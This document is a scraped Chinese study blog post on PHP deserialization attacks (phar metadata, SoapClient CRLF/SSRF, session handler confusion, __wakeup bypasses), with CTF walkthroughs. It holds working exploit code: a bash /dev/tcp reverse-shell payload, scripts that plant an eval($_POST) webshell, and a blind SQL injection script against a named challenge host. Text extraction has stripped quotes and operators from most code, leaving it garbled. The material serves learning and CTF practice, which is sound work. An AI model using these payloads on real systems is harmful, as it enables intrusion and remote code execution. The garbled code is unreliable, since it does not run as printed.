当前位置: 首页 > news >正文

安阳 做网站wordpress做教育网站

安阳 做网站,wordpress做教育网站,全景旅游网站项目建设,网站关闭了域名备案简单总结一下最近学习的#xff0c;php其他的一些反序列化知识 phar soap session 其他 __wakeup绕过gc绕过异常非公有属性#xff0c;类名大小写不敏感正则匹配#xff0c;十六进制绕过关键字检测原生类的利用 phar 基础知识 在 之前学习的反序列化利用中#xff0…简单总结一下最近学习的php其他的一些反序列化知识 phar soap session 其他 __wakeup绕过gc绕过异常非公有属性类名大小写不敏感正则匹配十六进制绕过关键字检测原生类的利用 phar 基础知识 在 之前学习的反序列化利用中都要用到unserlize这个反序列化方法然后构造pop链子但是通过读取phar文件即使不使用unserlize也可以触发反序列化操作 phar文件是php特有的一种归档压缩文件可以把多个文件归档为1个文件提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法而无需将其提取到磁盘中php可以通过phar://伪协议在不过分解压的情况下访问phar文件并执行其中的php程序 phar文件的基本结构如下 stubphar文件标志 phar文件在文件开头有一个特殊的标志如aaa?php bbb; __HALT_COMPILER();?aaabbb可以是任意内容但是?php __HALT_COMPILER();?必须 存在就是一定有?php 、 ? 或script languagephp这种php标签对标签对中含有 __HALT_COMPILER();manifest 存储着每个被压缩文件的权限属性等信息这部分还会以序列化的形式存储用户自定义的meta-data特定函数读取时会反序列化这是phar反序列化利用中最核心的地方。file contents 被压缩文件的内容signature phar文件的签名用于验证phar文件的完整性和真实性 我们可以先写个小程序看看生成的phar文件具体结构要将php.ini中的phar.readonly选项设置为Off否则会报错无法生成phar文件 ?php class myObject {public $name helloworld; } // 用php的内置类Phar创建一个名为 phar.phar 的 PHAR文件对象并赋值给变量 $phar $phar new Phar(phar.phar); // 开始 PHAR 文件的缓冲区用于批量操作避免频繁写入磁盘 $phar-startBuffering(); // 设置 PHAR 文件的 Stub即 PHAR 文件的启动代码用于启动 PHAR 中的脚本 $phar-setStub(?php __HALT_COMPILER();?); $info new myObject(); // 设置 PHAR 文件的可自定义的元数据 $phar-setMetadata($info); // 向 PHAR 文件中添加一个名为 a.txt 的文件并将内容设置为 a $phar-addFromString(a.txt, a); // 停止 PHAR 文件的缓冲区将缓冲区中的操作写入到 PHAR 文件中 $phar-stopBuffering(); ?用xxd工具Linux 下的十六进制编辑工具查看一下生成的phar文件 可以看到phar文件里有文件头还有自定义的被序列化的我们传入的一个对象 利用条件 如果一些文件操作函数通过phar://伪协议读取phar文件时就会将meta-data反序列化相关函数如下 copy, file_exists, file_get_contents,file_put_contents,file,fileatime,filectime,filegroup,fileinode, filemtime, fileowner, fileperms, fopen, is_dir, is_executable,is_file, is_link.is_readable,is_writable,,parse_ini_file,readfile,stat,unlink,exif _thumbnail,exif_imagetype, imageloadfont, imagecreatefrom, hash_hmac_file, hash_ile, hash_update_filemd5_file, sha1_file, get meta_tags, get_header,getimagesize, getimagesizefromstring ,extractTo_is_wirtble、info_file利用条件如下 phar可以上传到服务器端(存在文件上传)要有可用的魔术方法作为“跳板”。利用之前学习的魔术方法构造pop链文件操作函数的参数可控且:、/、phar等特殊字符没有被过滤 实验测试 使用网上大佬的程序来测试 upload.html html body form actionhttp://192.168.184.200/pharsnap/upload_files.php methodpost enctypemultipart/form-datainput typefile namefile /input typesubmit nameUpload / /form /body /htmlupload_files.php ?php if (isset($_FILES[file])) {echo Upload: . $_FILES[file][name].br/;echo Type: . $_FILES[file][type].br/;echo Temp file: . $_FILES[file][tmp_name].br/;if (file_exists(upload/ . $_FILES[file][name])) {echo $_FILES[file][name] . already exists. ;} else {move_uploaded_file($_FILES[file][tmp_name], upload/ .$_FILES[file][name]);echo Stored in: . upload/ . $_FILES[file][name];} } else {echo No file uploaded.; } ? read.php ?php $filename$_GET[filename]; echo please give me a filename by get.br /; class AnyClass{var $output echo ok;;function __destruct(){system($this - output);} }if(file_exists($filename)){$a new AnyClass();}else{echo file is not exists;} ? 重点在read.php使用了 file_exists 函数它在受影响函数之中在用phar协议读取文件时会反序列化其中数据 利用思路 read.php的AnyClass类中的__destruct魔术方法中有eval这个可以执行系统命令的方法是可以利用的而且存在file_exists这个可以触发的函数所在在file_exists中用phar://伪协议读取我们上传的phar文件就会反序列化其中的数据我们在自己的phar中设置$output为系统命令即可 exp: ?phpclass AnyClass {public $output(ls /);; }$pharnew Phar(phar.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER();?); $infonew AnyClass(); $phar-setMetadata($info); $phar-addFromString(a.txt,a); $phar-stopBuffering(); ?payload ?filenamephar://upload/phar.phar/a.txt 结果 命令执行成功总的来说就两点 找会触发反序列化的方法和文件上传或写入的点构造pop链执行rce 相关绕过 在实验代码中加一个file_get_contents这个函数触发反序列化相对更容易容易测试 phar不能在开头 数据压缩绕过要安装对应的拓展 compress.bzip2://phar://phar.phar/a.txt compress.zlib://phar://phar.phar/a.txt放其他伪协议在开头绕过 php://filter/resourcephar://phar.phar/a.txt__HALT_COMPILER特征检测 1.压缩绕过gzip或zip 如果对phar的特征__HALT_COMPILER进行了过滤可以使用gzip对phar文件再压缩一次这时__HALT_COMPILER就没有了 ! 直接phar读取或者配合文件包含也是可以触发反序列化的 ?filenamephar://upload/phar.phar.gz/a.txt #gz要访问gz中的phar中设置的a.txt ?filenamephar://upload/phar.zip/phar.phar #zip只要访问zip中的phar即可名字随意后缀要phar2.zip压缩把序列化内容写入zip的注释那为什么不直接压缩为zip传上去然后访问嘛为什么还要多此一举 因为通常文件上传中只能上传图片本地测试发现gzip压缩后的文件.gz改后缀为png再去访问仍然可以反序列化执行命令 但是zip文件.zip转为png后中间序列化的内容有丢失再去访问会执行命令失败 原来的phar内容 中间的命令尝试写入一句话压缩为zip再转为png尝试访问 结果发现一句话的内容消失了写入失败但是如果把序列化内容写入zip中的注释转为png不会消失php处理代码如下 $phar_file serialize($info); $zip new ZipArchive(); $res $zip-open(1.zip, ZipArchive::CREATE); $zip-addFromString(a, hellowrold);//设置zip要压缩的文件名和内容 $zip-setArchiveComment($phar_file); // 设置了 ZIP 文件的注释为序列化后的内容 $zip-close(); rename(1.zip,1.png);一句话写入成功 文件头检测 如果通过检测文件头来检测是否是图片可以在设置stub时增加GIF89agif图片文件头绕过如 $phar-setStub(GIF89a.?php __HALT_COMPILER();?);如果过滤问号可以script languagephp绕过如 $phar-setStub(GIF89a.script languagephp __HALT_COMPILER();/script);题目实战 SWPU2018 SimplePHP buu在维护题目做不了不过给了一个大佬写的yaml文件于是起个docker 可以看到有查看文件和上传文件两个页面看看页面源码 可以看到查看文件的文件名通过file传递感觉可以通过查看题目源码 果然可以想直接filef1ag.php提示文件不存在被ban了 那就把其他的php文件代码都看看 upload_file.php ?php include function.php; upload_file(); ? html head meta charestutf-8 title文件上传/title /head body div align center h1前端写得很low,请各位师傅见谅!/h1 /div style p{ margin:0 auto} /style div form actionupload_file.php methodpost enctypemultipart/form-data label forfile文件名:/label input typefile namefile idfilebr input typesubmit namesubmit value提交 /div /script /body /htmlfunction.php 处理上传的文件 ?php //show_source(__FILE__); include base.php; header(Content-type: text/html;charsetutf-8); error_reporting(0); function upload_file_do() { global $_FILES; $filename md5($_FILES[file][name].$_SERVER[REMOTE_ADDR])..jpg; //mkdir(upload,0777); if(file_exists(upload/ . $filename)) { unlink($filename); } move_uploaded_file($_FILES[file][tmp_name],upload/ . $filename); echo script typetext/javascriptalert(上传成功!);/script; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types array(gif,jpeg,jpg,png); $temp explode(.,$_FILES[file][name]); $extension end($temp); if(empty($extension)) { //echo h4请选择上传的文件: . h4/; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo script typetext/javascriptalert(Invalid file!);/script; return false; } } } ? file.php 展示文件 ?php header(content-type:text/html;charsetutf-8); include function.php; include class.php; ini_set(open_basedir,/var/www/html/); $file $_GET[file] ? $_GET[file] : ; if(empty($file)) { echo h2There is no file to show!h2/; } $show new Show(); if(file_exists($file)) { $show-source $file; $show-_show(); } else if (!empty($file)){ die(file doesn\t exists.); } ? 还有class.php一起看看 ?php class C1e4r {public $test;public $str;public function __construct($name){$this-str $name;}public function __destruct(){$this-test $this-str;echo $this-test;} }class Show {public $source;public $str;public function __construct($file){$this-source $file; //$this-source phar://phar.jpgecho $this-source;}public function __toString(){$content $this-str[str]-source;return $content;}public function __set($key,$value){$this-$key $value;}public function _show(){if(preg_match(/http|https|file:|gopher|dict|\.\.|f1ag/i,$this-source)) {die(hacker!);} else {highlight_file($this-source);}}public function __wakeup(){if(preg_match(/http|https|file:|gopher|dict|\.\./i, $this-source)) {echo hacker~;$this-source index.php;}} } class Test {public $file;public $params;public function __construct(){$this-params array();}public function __get($key){return $this-get($key);}public function get($key){if(isset($this-params[$key])) {$value $this-params[$key];} else {$value index.php;}return $this-file_get($value);}public function file_get($value){$text base64_encode(file_get_contents($value));return $text;} } ?base.php基本纯html就不展示了 源码中直接提示就是考phar反序列化触发点应该在file_exist函数没看到有可以执行系统命令的地方但是test类中有file_get_contents利用这个函数读取flag.php 开始构造pop链如何构造及其原理之前的笔记学习过了这里不在赘述一样的反向思考如何构造: 1.最终利用的是Test类中的file_get-file_get_contents获取flag这个方法在get方法中调用传给file_get的value由数组params中有没有$key这个健决定 2.get方法在__get方法调用__get在访问类中不存在的变量时调用访问的变量名会被作为字符串传入该方法中 3.Show类的toString方法中$content $this-str[str]-source;如果$this-str[str]赋值为Test实例就是访问了Test类中不存在的对象触发__get, ‘source’传入该方法如果把Test类中的params数组中设置一个同名健source值为’/var/www/html/f1ag.php’就能成功访问 4.C1e4r的__destruct__-echo $this-test;把test设置为Show实例触发Show类的toStting exp如下 ?php class C1e4r {public $test;public $str; } class Show {public $source;public $str; } class Test {public $file;public $params; } //pop链 $anew C1e4r(); $bnew Show(); $cnew Test(); $a-str$b; //触发show的toString $a-str-str[str]$c; //访问test类的不存在属性触发__get $c-params[source]/var/www/html/f1ag.php; //生成phar文件 $pharnew Phar(1.phar); $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER();?); $phar-setMetadata($a); $phar-addFromString(a.txt,a); $phar-stopBuffering(); rename(1.phar,1.png); ?直接访问/upload得到文件名 在file.php使用phar协议访问即可 解码后发现啥也没有进入docker的shell发现原本就是这样 newstar2023 pharone 今天发现可以做题了直接启动 有一个上传页源码提示有class.php代码如下 ?php highlight_file(__FILE__); class Flag{public $cmd;public function __destruct(){exec($this-cmd);} } unlink($_POST[file]);有unlink方法很明显就是phar反序列化,exec执行系统命令是没有直接的回显的所以要写个webshell进去 主页上传发现只能上传图片上传成功会回显文件名路径 直接生成phar转png试试 上传结果发现 过滤了__HALT_COMPILER这个文件特征把序列化内容写入zip注释吧 完整的exp: ?php class Flag {public $cmdecho ?eval(\$_POST[cmd]); /var/www/html/shell.php; } $infonew Flag(); $phar_file serialize($info); $zip new ZipArchive(); $res $zip-open(1.zip, ZipArchive::CREATE); $zip-addFromString(a, hellowrold);//设置zip要压缩的文件内容 $zip-setArchiveComment($phar_file); // 这一行设置了 ZIP 文件的注释为序列化后的内容 $zip-close(); rename(1.zip,1.png); ?上传成功,直接在class.php传入 filephar://upload/4a47a0db6e60853dedfcfdf08a5ca249.png/phar.phar然后蚁剑连接shell.php 查看flag 成功 soap 基础知识 SOAPSimple Object Access Protocol是一种用于在网络上交换结构化信息的协议。它通常用于实现分布式系统中的远程过程调用调用服务器上的方法允许不同的计算机在网络上进行通信并交换数据。其特点有但不限于 基于 XMLSOAP 使用 XML 格式来封装和传输数据。这使得它能够支持复杂的数据结构和对象并且与不同的编程语言和平台兼容。 支持多种传输协议SOAP 可以使用多种传输协议来进行数据传输其中最常用的是 HTTP 和 HTTPS。但 SOAP 也可以基于其他协议如 SMTP、JMS 等进行传输。 正常的一次soap请求demo如下 ?php // 创建 SoapClient 对象 $client new SoapClient(null, array(location http://192.168.184.150:1234, #location-请求的地址uri goodgoodstudydaydayup //命名标识符唯一标识服务端的应用程序或服务。 ));// 设置要调用的 SOAP 方法服务端要有定义和实现才能获取到数据 $method getWeather;// 使用 __soapCall() 方法发送 SOAP 请求 try {$response $client-__soapCall($method, array());// 处理响应echo Response: . $response; } catch (SoapFault $e) {// 处理 SOAP 错误echo SOAP Error: . $e-getMessage(); } ? 服务端收到的http请求包 由于服务端并没有定义getWeather方法所以这次soap请求拿不到相关数据 利用方法 触发__call 正常的soap请求是调用SoapClient对象的__soapCall实现的但是如果调用了该对象中不存在的方法会触发__call魔术方法这个方法也会发送soap请求 如 ?php $a new SoapClient(null,array(locationhttp://192.168.184.1501234, urigoodgoodstudydaydayup)); $a-a(); // 调用SoapClient实例对象中不存在的方法, 触发__call方法发送请求 ?所以soap的反序列化不需要构造pop链只要有反序列化的过程和调用不存在的方法即可但是只是发送一个拿不到数据的请求没有意思我们可以通过CRLF注入构造出我们想要的数据包发送到服务端让服务端带着这个数据包去发送请求ssrf拿到我们想要的数据 CRLF注入 需要先了解一下http协议数据包的结构 https://www.cnblogs.com/huansky/p/14007810.html 不论是请求报文还是响应报文各行数据通过回车换行符分割这个回车换行符就是\r\nurl编码后是%0d%0a即为CRLF头部和数据正文之间隔了两个CRLF 如果用户输入会出现在服务端http响应的header中CRLF注入就可以控制响应头中出现我们设置的内容如 用户的输入会出现在location中如果输入变为 http://192.168.184.200/locat.php?urlhttp://www.baidu.com%0d%0aSet-Cookie:token%3D123456这个输入中注入了一个CRLF本来这整个值都应出现在Location的值中但服务器在读取完 Location:http://www.baidu.com后读取到了一个CRLF会认为这个键值对已经结束就会准备开始读取下一个头部中键值对而Set-Cookie:token%3D123456,url解码后是可以被正常读取的键值对这样一来就会在请求头中设置了我们自己的cookie 现在通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了但是了解了原理之后我们可以通过CRLF配合soap启动ssrf 例如在user-agent注入CRLF ?php $a new SoapClient(null,array(locationhttp://192.168.184.150:1234,user_agentsoap\r\nSet-Cookie:tokenhelloworld ,urigoodgoodstudydaydayup)); $a-a(); // 调用SoapClient实例对象中不存在的方法, 触发__call方法发送请求 ? 在这里我在user-agent后面注入了一个CRLF然后设置Set-Cookie:tokenhelloworld结果 服务端接受到数据包中头部出现了Set-Cookie键值对注入一个crlf就能修改或增加一个键值对可以看到soap的http请求是POST方法要实现ssrf我们要通过注入多个CRLF修改Conent-Type,content-Length还要插入我们自己的数据代替原来的xml数据使这个post请求变成我们想要的 ?php $target http://192.168.184.150:1234; $post_data datawhoami; $headers array(X-Forwarded-For: 127.0.0.1,Cookie: PHPSESSID3stu05dr969ogmprk28drnju93 ); $a new SoapClient(null,array(location $target,user_agenthelloworld^^Content-Type: application/x-www-form-urlencoded^^.join(^^,$headers).^^Content-Length: . (string)strlen($post_data).^^^^.$post_data,uritest)); $b serialize($a); $b str_replace(^^,\r\n,$b); echo $b; $c unserialize($b); $c-a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf ?$a new SoapClient(null,array(location $target,user_agenthelloworld^^Content-Type: application/x-www-form-urlencoded^^.join(^^,$headers).^^Content-Length: . (string)strlen($post_data).^^^^.$post_data,uritest));exp这一句每注入一个CRLF就修改一个键值对请求头和请求数据要插入2个CRLF我们就可以通过这样构造的post请求进行ssrf 实验学习 test.php ?php if($_SERVER[REMOTE_ADDR]127.0.0.1){eval($_POST[cmd]);} else{echo not localhost; } $aunserialize($_GET[a]); $a-play(); ?可以看到程序中有反序列化操作并且调用了play这个未定义方法要求REMOTE_ADDR为127.0.0.1才能执行命令所以我们可以传入自己构造的序列化后的soap对象反序列化后触发__call方法进行ssrf, exp如下 ?php $poc cmd.urlencode(system(bash -c \bash -i /dev/tcp/192.168.184.150/1234 01\);?); $a new SoapClient(null,array(uriaaaa, locationhttp://127.0.0.1/test.php,user_agenthelloworld\r\nContent-Length: .strlen($poc).\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n.$poc,keep_alivefalse)); $b serialize($a); echo urlencode($b);shell反弹成功总结利用条件 1.程序中有反序列化操作 2.支持soap服务调用了未定义方法 题目实战 easy_harder_php 综合性很强的题搞了好久最后还没做出来 题目首页url参数有actionlogin感觉可以任意文件读取尝试 果然有那就需要知道其他php文件名然后读取,dirsearch扫一下 发现config.php后加~可以读取然后顺藤摸瓜发现了三个php文件的源代码cofigindexuser 代码都很长就不粘贴过来了 思路 没做出来看了wp还是没法复现简单记录一下思路吧 看了代码后在user.php-publish发现admin登录后才有文件上传的功能, 但是在user.php-login中,admin登录不仅要密码正确还要本地登录感觉要ssrf于是寻找可能的ssrf触发点 寻找了一圈没啥收获但是在user.php-showmess中发现了没有pop链的反序列化而且下面调用了getcountry未定义方法想到用soap来ssrf 不知道从哪里可以拿到admin的密码但是发现操作数据库的sql中都是直接拼接的感觉可以sql注入注册和登录都不行要输入MD5的验证码 登录后的insert中有 插入的语句没有什么验证插入一个a后面再跟上的我们的时间注入payload即可表名字段存储密码长度都能从源码中得知exp如下 import requests import time from datetime import datetime url_targethttp://c4790c8b-ff2c-4d42-b109-c99e764602fb.node5.buuoj.cn:81/index.php?actionpublish cookie{PHPSESSID:4p269bclqkqpic4v928so6goh3} data{signature:,mood:0 } passwd for i in range(1,33):time.sleep(0.5)for k in range(33,127):sqlfa,if(ord(substr((select password from ctf_users where usernameadmin),{i},1)){k},sleep(2),null))#data[signature]sqlstart datetime.now()resrequests.post(urlurl_target,datadata,cookiescookie,timeout3)end datetime.now()sec (end - start).secondsif sec 2:passwdchr(k)print(passwd)结果 拿去md5碰撞网站试试得到为nu1ladmin 用脚本生成soap序列化字符串在这里要用两个浏览器一个停留在登录页面把要用的验证码和cookie中的PHPSESSID保留下来放入soap请求包另一个浏览器用普通用户登录pubilsh插入我们构造的soap序列化数据exp ?php $target http://c360d287-8204-45d0-8d8d-7180e8bfd8c8.node5.buuoj.cn:81//index.php?actionlogin; $post_string usernameadminpasswordnu1ladmincodeIWAPX5COOXSFNBuuWbP4; $headers array(X-Forwarded-For: 127.0.0.1,Cookie: PHPSESSIDs3r1gfsk5288rntocmg8fhdlg3 ); $b new SoapClient(null,array(location $target,user_agenthelloworld^^Content-Type: application/x-www-form-urlencoded^^.join(^^,$headers).^^Content-Length: .(string)strlen($post_string).^^^^.$post_string,uri aaab));$a serialize($b); $a str_replace(^^,\r\n,$a); $a str_replace(,,$a); echo $a; ? 然后把序列化字符串转为十六进制点击publish执行插入语句 网上的wp都是插入后再刷新就是admin但我总是失败不知道为啥最后试了一下直接包含根目录下的flag还真有 不知道是不是验证码没处理好导致无法admin验证码是MD5碰撞求得分享一下大佬写的脚本 import multiprocessing import hashlib import random import string import sys# 定义字符集包括大小写字母和数字 CHARS string.ascii_letters string.digits def cmp_md5(substr, stop_event, str_len, start0, size20):比较MD5哈希值的函数global CHARSwhile not stop_event.is_set():# 生成随机字符串rnds .join(random.choice(CHARS) for _ in range(size))# 计算MD5哈希值md5 hashlib.md5(rnds.encode(utf8))value md5.hexdigest()# 检查哈希值是否满足条件并输出if value[start: start str_len] substr:print(rnds)print(value)# 设置停止事件停止其他进程stop_event.set()if __name__ __main__:# 从命令行参数获取目标MD5哈希值的起始子字符串和搜索起始位置substr sys.argv[1].strip()start_pos int(sys.argv[2]) if len(sys.argv) 1 else 0str_len len(substr)# 获取计算机CPU核心数cpus multiprocessing.cpu_count()# 创建一个事件对象来协调进程之间的停止stop_event multiprocessing.Event()# 创建多个进程每个进程运行cmp_md5函数以搜索满足条件的字符串processes [multiprocessing.Process(targetcmp_md5, args(substr, stop_event, str_len, start_pos))for i in range(cpus)]# 启动所有进程for p in processes:p.start()# 等待所有进程完成for p in processes:p.join() session 基础知识 SESSION的一些知识在学习会话文件包含时学习过现在学习一下SESSION在反序列化中的利用点的一些基础知识 php有三种session的处理器(php,php_serialize,php_binary 默认为php)用于把session会话信息存储到文件中各自都有不同的session存储和使用的机制但存到文件里的都是类似序列化的数据不同的处理有一些差别如下面的demo ?php ini_set(session.serialize_handler, php_serialize); highlight_file(__FILE__); session_start(); $_SESSION[name]$_GET[name]; ?传入namehelloworld三种处理器存储的数据如下 处理器数据phpnamephp_serializea:1:{s:4:name;s:10:helloworld;}php_binarynames:10:helloworld; 如果多传一个sex属性存到SESSION数组中存储如下 可以看到php处理器存储就是键名|序列化数据php_serialize就是a:键值对个数:{序列化数据},php_binary就是键名后直接跟序列化数据 利用条件 1.两个不同的php文件使用了不同的会话文件处理器序列化存储文件时用php_serialize但默认是php可能要通过别的方式修改反序列化会话文件是php 2.调用了session_start()或php.ini中session.auto_start1,调用了session_start()如果之前已经存在会话就会去反序列化session文件 利用方法 就是利用这两个处理器不同的处理机制对于|的处理不同在上面学习过他们的存储方式php存储时会用|分割键值但php_serialize存储时就没有 也就是说php_serialize反序列化会把|当作普通字符串如果是php遇到|就会反序列化后面内容把|前面的当作键值如果我们能控制输入$_SESSION数组的变量控制为|(对象序列化字符串),php_serialize会当作普通字符串存储但php反序列化读取时就会成功反序列化对象序列化字符串生成我们想要的对象 在文件包含时了解过如果不主动往session数组中传数据默认session文件是没有内容的所以SESSION反序列化也分$_SESSION变量可控和不可控 实验学习 $_SESSION变量可控 除了上面的demo再加一个class.php ?php highlight_file(__FILE__); ini_set(session.serialize_handler, php); class Man {public $name;function __destruct(){system($this-name);} } session_start(); var_dump($_SESSION); ?$_SESSION变量可控就是我们可以往$_SESSION数组传入数据 可以看看这篇大佬的文章https://blog.csdn.net/weixin_57567655/article/details/121899648,讲的通俗易懂 例如在这个实验中先生成我们的Man序列化字符串 ?php class Man {public $namels /; } echo serialize(new Man()); ?在得到到结果前加上|变为|O:3:Man:1:{s:4:name;s:4:ls /;} 传入给name查看session文件, 查看class.php $_SESSION变量不可控 利用uoload_progress手动构建文件上传具体原理在学习文件包含时了解了这里简单复习一下 在文件上传的同时post传一个字段PHP_SESSION_UPLOAD_PROGRESS值任意php这时就会自动创建会话并往$_SESSION数组中写入数据关于文件上传的进度我们传的PHP_SESSION_UPLOAD_PROGRESS的值会和upload_progress拼接在一起作为session文件中的一个健 条件 session.upload_progress.enabledOn默认情况下就是On 默认情况下session.upload_progress.cleanOn文件上传结束后就会清除session中的相关数据这时就要条件竞争之前学习文件包含的文章中已经测试过这里改为off方便测试 手动构建文件上传在原来的前端页面下打开F12选中body元素选择以html格式修改就可以手动添加一个文件上传的表单 在可以构造pop链的php文件构造上传表单 form actionsess.php methodPOST enctypemultipart/form-datainput typehidden namePHP_SESSION_UPLOAD_PROGRESS value123 / input typefile namefile1 /input typesubmit / /form随便上传一个文件在bp中修改filename |O:3:\Man\:1:{s:4:\name\;s:4:\ls /\;}记得转义序列化数据中的双引号或者filename的内容用单引号包裹 ! 反序列化成功命令成功执行 题目实战 bestphp’s revenge 题目源码 ?php highlight_file(__FILE__); $b implode; call_user_func($_GET[f], $_POST); session_start(); if (isset($_GET[name])) {$_SESSION[name] $_GET[name]; } var_dump($_SESSION); $a array(reset($_SESSION), welcome_to_the_lctf2018); call_user_func($b, $a); ?乍一看看不出什么扫描一下发现flag.php ?php session_start(); echo only localhost can get flag!; $flag LCTF{*************************}; if ($_SERVER[REMOTE_ADDR] 127.0.0.1) {$_SESSION[flag] $flag; } ?发现要求本地访问然后就会往session中写入flag想到要用ssrf首页源码中有call_user_func函数它会把传入的第一个参数当作回调函数后面的参数当作传入该函数的变量然后执行该函数感觉有可能让welcome_to_the_lctf2018作为一个未定义方法让soap对象调用就可以ssrf访问flag.php了不知道该如何操作上网查阅资料后才理清了利用思路 在第二个call_user_func中如果把$b再设置为call_user_func那么传给它的就是一个数组$a它有两个元素第一个reset($_SESSION)也就是$_GET[name]),第二个是welcome_to_the_lctf2018传给call_user_func如果只有一个数组那么就会把数组第一个值当作回调函数后面的值当作该方法的参数所以$_GET[name]是方法名welcome_to_the_lctf2018是方法相当于$_GET[name]-welcome_to_the_lctf2018如果$_GET[name]是我们传入的soapclient对象就可以触发ssrf传入soap对象序列化数据session_start()就可以反序列化来还原 但b似乎是写死的implode可以修改吗其实是可以的只要把$_GET[f]设为extract利用这个函数的来变量覆盖修改b原理如下 PHP extract() 函数用于将数组中的键作为变量名将对应的值作为变量值导入到当前程序的符号表中 在PHP中符号表Symbol Table是一个内部数据结构用于跟踪当前脚本中定义的变量和它们的值。在PHP脚本执行期间符号表记录了所有已经声明的变量及其对应的值并且可以动态地添加、修改和删除这些变量。 extract()导入变量名和值时如果原来已经存在相同的变量名那么旧的值会被数组中同名的健对应的值替换掉举个例子 ?php // 用户通过表单提交了一些数据例如 $hobbyplay; // 为了方便直接使用 extract() 函数将 $_GET 数据导入到当前符号表中,以便后续使用 extract($_GET); echo 用户: .$name. 性别: .$sex.br; echo your hobby is $hooby; ?可以看到本来hobby的值为play可以是我们通过get方式传入一个同名变量使值为studyplay就会被study覆盖如 所以在那道题中要发送两次请求第一次给name赋值soap序列化数据写入session数组同时利用call_user_func($_GET[f], $_POST);f赋值为session_start(), post 传 serialize_handlerphp_serialize 修改session文件序列化处理器 ! 成功写入到session文件中 生成soap序列化数据的exp ?php $target http://127.0.0.1/flag.php; $post_data ; $headers array(X-Forwarded-For: 127.0.0.1,Cookie: PHPSESSID123456 ); $a new SoapClient(null,array(location $target,user_agenthelloworld^^Content-Type: application/x-www-form-urlencoded^^.join(^^,$headers).^^Content-Length: . (string)strlen($post_data).^^^^.$post_data,uritest)); $b serialize($a); $b str_replace(^^,\r\n,$b); echo |.urlencode($b);手动在数据包中添加发送序列化数据后响应包中给的cookie然后正常访问让程序默认的php处理器反序列化session文件发现成功还原SoapClient对象 这一次get给f传extractpost传bcall_user_func,让程序还原了soapcilent对象后发送soap请求 最后再把PHPSESSID的值设为我们exp中的PHPSESSID的值正常访问 拿到flag 其他小知识 __wakeup绕过 __wakeup也是一种魔术方法 调用**unserialize()时 会检查是否存在一个 __wakeup() 方法。如果存在则会先调用 __wakeup 方法预先准备对象需要的资源。 **_wakeup()方法的目的是在反序列化后执行一些特定的操作以还原对象的状态或执行其他必要的逻辑。在ctf中会用__wakeup修改变量阻止pop链的起点触发如 ?php highlight_file(__FILE__); class Man {public $name;function __wakeup(){echo wakeup is call;$this-namephpinfo();;}function __destruct(){eval($this-name);}} unserialize($_GET[a]); ?这里的__wakeup会把name修改为phpinfo传入的序列化字符串中即使有其他命令也无法执行如 看起来很安全其实也有绕过的方法 修改变量数 要求版本PHP5 5.6.25、PHP7 7.0.10 当序列化字符串中属性值大于属性个数就会导致反序列化异常被PHP当作垃圾回收提前触发__destruct__(也叫fast-desturct)从而跳过__wakeup(), 这里一道经典题为例子[极客大挑战 2019]PHP 源码: index.php ?phpinclude class.php;$select $_GET[select];$resunserialize($select);?class.php ?php include flag.php; error_reporting(0); class Name{private $username nonono;private $password yesyes;public function __construct($username,$password){$this-username $username;$this-password $password;}function __wakeup(){$this-username guest;}function __destruct(){if ($this-password ! 100) {echo /brNO!!!hacker!!!/br;echo You name is: ;echo $this-username;echo /br;echo You password is: ;echo $this-password;echo /br;die();}if ($this-username admin) {global $flag;echo $flag;}else{echo /brhello my friend~~/brsorry i cant give you the flag!;die();}} } ?可以看到Name类中读取flag需要username为admin但是__wakeup方法会把username变为guest需要绕过两个变量是private属性需要url编码 F12看到php版本为5.3修改属性值就行, 把2改为3 O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D成功 使用引用 这个方法的条件是1.类中有多个变量 2.在触发点函数中使用或赋值了变量 修改一下上面的demo highlight_file(__FILE__); class Man{public $info;public $name;function __wakeup(){echo wakeup is call;$this-name;}function __destruct(){$infohelloworld;if ($name){echo file_get_contents(flag.php);}} unserialize($_GET[a];如果要读取flagname不能为空可是name在__wakeup方法中就被置为空可以利用变量引用绕过变量引用就是使用符号如$a$b;a被赋值为b的引用那么 a , a, a,b,实际指向同一块内存修改其中一个另外一个也会随之改变 在exp中这样写 $anew Man(); $a-info$a-name; echo serialize($a);把info设置为name的引用它们使用同一块内存在__wakeup中即使name被置为空但在__destruct中info又被赋予了值name的值也同样被改为helloworld就能成功读取flag 所以利用条件为1.类中有多个变量 2.在触发点函数中使用或赋值了变量 fast-destruct 利用条件__destruct 和__wakeup不在同一个类 demo ?php highlight_file(__FILE__); class A {public $info;private $end 1;public function __destruct(){$this-info-func();} } class B {public $end;public function __wakeup(){$this-end exit();;echo __wakeup;}public function __call($method, $args){eval($this-end);} } unserialize($_POST[data]);如果传正常payload会触发B的__wakeup,导致命令无法执行可是如果破坏一下序列化数据结构导致B对象不能被正常还原出现了异常php会把这个不正常的数据当做垃圾销毁回收提前触发__destruct原本的方法执行顺序改变B的__wakeup的执行被延后 正常 -O:1:A:2:{s:4:info;O:1:B:1:{s:3:end;s:10:phpinfo();;}s:3:end;s:1:1;} 减少闭合} -O:1:A:2:{s:4:info;O:1:B:1:{s:3:end;s:10:phpinfo();;}s:3:end;s:1:1; 增加; -O:1:A:2:{s:4:info;O:1:B:1:{s:3:end;s:10:phpinfo();;}s:3:end;s:1:1;;} 修改表示长度的值 -O:1:A:2:{s:4:info;O:1:B:1:{s:3:end;s:10:phpinfo();;}s:6:end;s:1:1;} #3改为了6最后一个修改表示长度的值影响版本是7.4.x -7.4.308.x大佬文章https://github.com/php/php-src/issues/9618 在本地测试时发现一个小问题就是如果__wakeup里只有一个die那么这个die执行了反序列化还是会完整进行能够执行命令不知道是不是我的demo问题求大佬告知 throw Exception绕过 如果在反序列化后主动抛出一个异常__destuct不会被执行在上面__wakeup的demo最后加上 throw new Exception(“No!”); 如果正常传入会爆出异常无法执行 fast-destruct的破坏数据结构的方法可以绕过结束 非公有属性绕过 